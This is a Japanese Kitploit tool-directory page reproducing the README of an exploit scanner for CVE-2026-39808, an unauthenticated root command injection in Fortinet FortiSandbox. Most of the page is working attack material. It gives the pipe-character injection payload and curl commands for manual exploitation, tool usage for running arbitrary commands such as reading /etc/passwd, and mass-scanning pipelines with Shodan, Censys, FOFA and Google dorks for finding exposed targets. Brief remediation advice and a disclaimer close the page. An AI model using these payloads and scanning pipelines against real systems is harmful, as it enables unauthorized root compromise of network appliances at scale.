Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
偵察脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

未認証のRCEスキャナー。FortiSandbox CVE-2026-39808向けで、カナリアベースの検証、コマンド実行、パイプライン統合による大規模スキャンを備えています。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
26954ヶ月前Kitploit レビュー済み

FortiSandbox RCE スキャナー — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

Fortinet FortiSandbox における認証不要の root 権限 OS コマンドインジェクション

脆弱性 • インストール • 使用方法 • 動作原理 • パイプライン • Shodan ダーク • 免責事項


脆弱性

CVE-2026-39808 は、Fortinet FortiSandbox における深刻な認証不要の OS コマンドインジェクション脆弱性です。/fortisandbox/job-detail/tracer-behavior API エンドポイントは jid パラメータのサニタイズに失敗しており、攻撃者は認証なしで root として任意の OS コマンドを注入・実行できます。

根本原因

tracer-behavior エンドポイントの jid パラメータは、サニタイズなしでシステムコマンドに直接渡されます。パイプ文字(|)を使用することで、攻撃者は意図されたコマンドコンテキストから抜け出し、任意のコマンドを実行できます:

root@kitploit:~
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

出力は /web/ng/out.txt に書き込まれ、Web サーバー上の /ng/out.txt でアクセス可能です。これにより、ブラインドコマンドインジェクションのための便利な読み出しメカニズムが提供されます。


インストール

依存関係ゼロ。Python 3.7+ 標準ライブラリのみ。

root@kitploit:~
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

使用方法

基本スキャン

root@kitploit:~
# ターゲットが脆弱かどうかを確認(カナリアベースの検出を使用)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

コマンド実行

root@kitploit:~
# ターゲット上で特定のコマンドを実行
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

検証のみ(コマンド実行なし)

root@kitploit:~
# 脆弱性の確認のみ行い、--cmd を実行しない
python3 fortisandbox_rce.py -u https://target.com --verify-only

Burp プロキシ使用時

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

JSON レポート

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com -o report.json

パイプラインモード(大量スキャン)

root@kitploit:~
# URL リストから
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → スキャナー
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → スキャナー
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

すべてのオプション

root@kitploit:~
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           ターゲット URL
  --stdin                 stdin から URL を読み込む(パイプラインモード)
  --cmd CMD               実行する OS コマンド(デフォルト: id)
  --verify-only           脆弱性の検証のみ行い、--cmd を実行しない
  --proxy PROXY           HTTP プロキシ(例: http://127.0.0.1:8080)
  --timeout TIMEOUT       HTTP タイムアウト(秒)(デフォルト: 15)
  --rate-limit RATE_LIMIT ターゲット間の遅延(ミリ秒)(デフォルト: 0)
  -o, --output FILE       出力 JSON レポートファイル
  --no-banner             バナーを表示しない

動作原理

このスキャナーは、厳格な誤検知防止を備えた 5 段階の検証プロセス を使用します:

root@kitploit:~
Step 1  →  FortiSandbox を検出(タイトル/ヘッダーフィンガープリント)
Step 2  →  脆弱なエンドポイントが存在するか確認
Step 3  →  コマンドインジェクションで一意のカナリア文字列を注入
Step 4  →  /ng/out.txt を読み取り、カナリアを検証(厳格なプレーンテキスト検証)
Step 5  →  ユーザーコマンドを実行 + クリーンアップ

誤検知防止

スキャナーは誤検知を排除するために複数の検証レイヤーを実装しています:

  • HTML 検出 — 出力 URL が HTML ページ(Angular SPA のキャッチオール)を返す場合、誤検知としてフラグ付け
  • Content-Type 検証 — コマンド出力が text/html であってはならない
  • カナリア分離 — カナリアは HTML タグに埋め込まれず、クリーンなプレーンテキストで表示される必要がある
  • id 出力正規表現 — サイズの健全性チェック(<1000 バイト)付きの厳格な uid=\d+(\w+) パターンマッチング
  • ベース URL 正規化 — 二重パスの問題を防ぐため、/ng サフィックスを自動的に除去

出力例

脆弱なターゲット

root@kitploit:~
  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Unauthenticated Command Injection (root)               ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://fortisandbox.example.com                 │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detected!
  ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
  ▸ Endpoint status: 200 | Content-Type: text/html
  ▸ Injecting canary: mitsec_a8k3m2x1
  ▸ Reading output: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
   CRITICAL  Target: https://fortisandbox.example.com
  ✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)

  ──────────────────────────────────────────────────────────
    Command Output: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Output file cleaned up

脆弱ではない場合

root@kitploit:~
  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://patched.example.com                      │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detected!
  ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
  ✗ Endpoint returned 404 — not vulnerable or patched

誤検知の処理

root@kitploit:~
  ▸ Reading output: https://target.com/ng/out.txt
  ⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
  ▸ Content-Type: text/html
  ▸ This is a false positive — /ng/out.txt serves the SPA index.html
  ▸ Target does not appear vulnerable

JSON レポート形式

root@kitploit:~
{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

パイプライン統合

スキャナーは脆弱な URL を stdout に出力します(その他の出力はすべて stderr に送られます)。これにより、完全なパイプライン互換性が実現されます:

root@kitploit:~
# 脆弱なターゲットを検出して保存
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# さらなるテストのために nuclei と連携
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# レート制限付きのサイレント大量スキャン
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

Shodan ダーク

root@kitploit:~
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

Censys:

root@kitploit:~
services.http.response.html_title:"FortiSandbox"

FOFA:

root@kitploit:~
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

Google ダーク:

root@kitploit:~
intitle:"FortiSandbox - Please login"

手動検証

curl を使用して手動で検証したい場合は、次のようにします:

root@kitploit:~
# Step 1: コマンドを注入
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# Step 2: 出力を読み取る
curl -s -k "https://TARGET/ng/out.txt"
# 期待される出力: uid=0(root) gid=0(root) groups=0(root)

修復策

  • FortiSandbox をバージョン 4.4.9 以上 に アップグレード する
  • 即時のパッチ適用が不可能な場合:
    • FortiSandbox 管理インターフェースへのネットワークアクセスを制限する
    • ファイアウォールルールを使用して /fortisandbox/job-detail/ エンドポイントへの外部アクセスをブロックする
    • パイプ文字を含む不審な jid パラメータ値がないかログを監視する

タイムライン

日付イベント
2025 年 11 月脆弱性が発見される
2026 年 4 月CVE-2026-39808 が公開される
2026 年 4 月FortiSandbox 4.4.9 で修正される

参考情報

  • Fortinet PSIRT アドバイザリ — FG-IR-25-325
  • CVE-2026-39808 — NVD

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみ で提供されています。コンピュータシステムへの不正アクセスは違法です。テストを行う前に必ず適切な書面による許可を取得してください。作者はこのツールの誤用について一切の責任を負いません。


作者

mitsec — @ynsmroztas

  • ポートフォリオ: ynsmroztas.github.io
  • 100+ Hall of Fame | 2,430+ 件の脆弱性開示 | 1,100+ 件の重大な発見

このツールが役に立った場合は、⭐ を付けてください

ツールをダウンロード
詳細値
CVE IDCVE-2026-39808
CVSS スコア9.8 (Critical)
攻撃ベクトルネットワーク
認証不要
権限root
影響を受けるバージョンFortiSandbox < 4.4.9
修正バージョン4.4.9 以降
アドバイザリFG-IR-25-325